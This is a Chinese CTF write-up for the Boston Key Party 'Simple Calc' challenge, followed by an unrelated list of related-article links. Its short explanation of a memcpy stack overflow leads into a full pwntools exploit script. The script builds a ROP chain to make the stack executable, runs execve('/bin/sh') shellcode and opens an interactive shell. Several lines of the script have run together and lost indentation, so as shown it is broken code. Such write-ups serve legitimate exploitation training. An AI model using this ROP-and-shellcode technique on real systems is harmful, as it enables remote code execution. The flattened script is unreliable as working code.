Simple Calc

明显的memcpy栈溢出,是一个静态链接的程序所以没给libc。发现里面有:

参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b,这样的话stack就是可执行的了,然后就可以执行shellcode啦!

 #!/usr/bin/python
from pwn import *
import time
#wah #context.log_level = 'debug'
#s = remote('simplecalc.bostonkey.party',5400, timeout=2)
s = remote('127.0.0.1',10001)
time.sleep(1)
print 'pwn-calc pid is %d' % pwnlib.util.proc.pidof('pwn-calc')[0]
raw_input('go!') def add(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
def sub(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
def div(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
rop = ''
rop += p32(0x31) #fake heap head
rop += 11*p32(500)
rop += p64(0x6C4AA0) #divresult to bypass free()
rop += p32(500)*4 rop += p64(0x4b8f17) #pop rcx; ret
rop += p64(0x6C0FE0) #__stack_prot
rop += p64(0x474a83) #pop rax; ret
rop += p64(0xffffffffffffffff) #-1
rop += 8*p64(0x00463b90) #add rax,1;ret
rop += p64(0x40f50b) #add BYTE PTR [rcx],al; ret
rop += p64(0x00463600) #pop rdi; ret
rop += p64(0x6C0F88) #__libc_stack_end
rop += p64(0x4717E0) #_dl_make_stack_executable
rop += p64(0x44282a) #call rsp shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
rop += shellcode payloadlen = len(rop)
print 'payload len is %d' % len(rop)
#print rop.encode('hex') remaind = payloadlen %4
padlen = payloadlen + 4-remaind
formats = '{:' + '\x01' + '<' + str(padlen) + '}'
payload = formats.format(rop)
#print payload.encode('hex') s.recvuntil('Expected number of calculations: ', timeout=2)
s.sendline(str(padlen/4 + 1)) tmp = 0x30
for i in range(padlen/4):
#print '%d round' % (i+1)
num = u32(payload[4*i:4*(i+1)])
#print hex(num)
if num == 0x31:
div(str(0x31*0x31), str(0x31)) #to bypass free
elif num <= 0x27:
sub(str(num+0x30),str(0x30))
elif num >= 0x70000000:
add(str(num-0x70000000),str(0x70000000))
else:
add(str(num-0x30),str(0x30))
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.interactive()

Bostonkey Simple calc的更多相关文章

  1. CSharp使用ANTLR4生成简单计算Parser

    ANTLR简介 ANTLR (ANother Tool for Language Recognition) is a powerful parser generator for reading, pr ...

  2. 2016暑假多校联合---A Simple Chess

    2016暑假多校联合---A Simple Chess   Problem Description There is a n×m board, a chess want to go to the po ...

  3. Building simple plug-ins system for ASP.NET Core(转)

    Recently I built plug-ins support to my TemperatureStation IoT solution web site. The code for .NET ...

  4. css calc()

    w https://developer.mozilla.org/en-US/docs/Web/CSS/calc The calc() CSS function can be used anywhere ...

  5. HDU 5794 A Simple Chess dp+Lucas

    题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=5794 A Simple Chess Time Limit: 2000/1000 MS (Java/O ...

  6. HDU 5794 A Simple Chess(杨辉三角+容斥原理+Lucas定理)

    题目链接 A Simple Chess 打表发现这其实是一个杨辉三角…… 然后发现很多格子上方案数都是0 对于那写可能可以到达的点(先不考虑障碍点),我们先叫做有效的点 对于那些障碍,如果不在有效点上 ...

  7. PHP设计模式(一)简单工厂模式 (Simple Factory For PHP)

    最近天气变化无常,身为程序猿的寡人!~终究难耐天气的挑战,病倒了,果然,程序猿还需多保养自己的身体,有句话这么说:一生只有两件事能报复你:不够努力的辜负和过度消耗身体的后患.话不多说,开始吧. 一.什 ...

  8. Design Patterns Simplified - Part 3 (Simple Factory)【设计模式简述--第三部分(简单工厂)】

    原文链接:http://www.c-sharpcorner.com/UploadFile/19b1bd/design-patterns-simplified-part3-factory/ Design ...

  9. WATERHAMMER: A COMPLEX PHENOMENON WITH A SIMPLE SOLUTION

    开启阅读模式 WATERHAMMER A COMPLEX PHENOMENON WITH A SIMPLE SOLUTION Waterhammer is an impact load that is ...

随机推荐

  1. 【转】android 电池(一):锂电池基本原理篇

    关键词:android  电池关机充电 androidboot.mode charger 平台信息:内核:linux2.6/linux3.0系统:android/android4.0 平台:S5PV3 ...

  2. html 表格中文字的背景色

  3. Tomcat部署项目的几种常见方式

    以前学习的时候只知道在Eclipse或者MyEclipse中发布项目到Tomcat,最近实习时发现不同的项目还有不同的发布方式,所以特地学习了Tomcat发布项目的方式,在此记录下来. 1 直接将we ...

  4. SHDP--Working With HBase(一)之基本介绍

    最近在做web项目使用到了Hadoop,HBase,在这里对Spring For Hadoop(SHDP)的使用做个总结,主要使用了SHDP中提供的一些封装好的HBase模块. Spring For ...

  5. 【Java基础】几种简单的调用关系与方法

    直接上代码吧. class lesson4AB //同一个类下的public修饰的方法A,B可以相互调用 { public void A() { B();//等价于this.B(); } public ...

  6. 关于使用Html5 canvas、 map、jquery构造不规则变色点击区域 热点区域

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  7. android XML解析之DOM解析方式

    DOM 解析方式步骤: 第一步:首选需要获得DOM解析器工厂实例 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance ...

  8. phantomjs API

    phantomjs使用说明         phantomjs实现了一个无界面的webkit浏览器.虽然没有界面,但dom渲染.js运行.网络访问.canvas/svg绘制等功能都很完备,在页面抓取. ...

  9. JSP总结2 配置开发环境和firstjsp

    JDK的下载 JAVA_HOME ,CLASSPATH,PATH 的配置,根据安装路径. 然后java -version检测配置OK. 编写helloworld.java   放置在同JDK 盘里.j ...

  10. Android 部分机型GridView四周默认间距

    在测试兼容性时候,部分机型,比如联想和一加等手机,在使用Gridview的时候,会默认四周有默认边距,10dp左右. 这时候需要设置 android:listSelector="@andro ...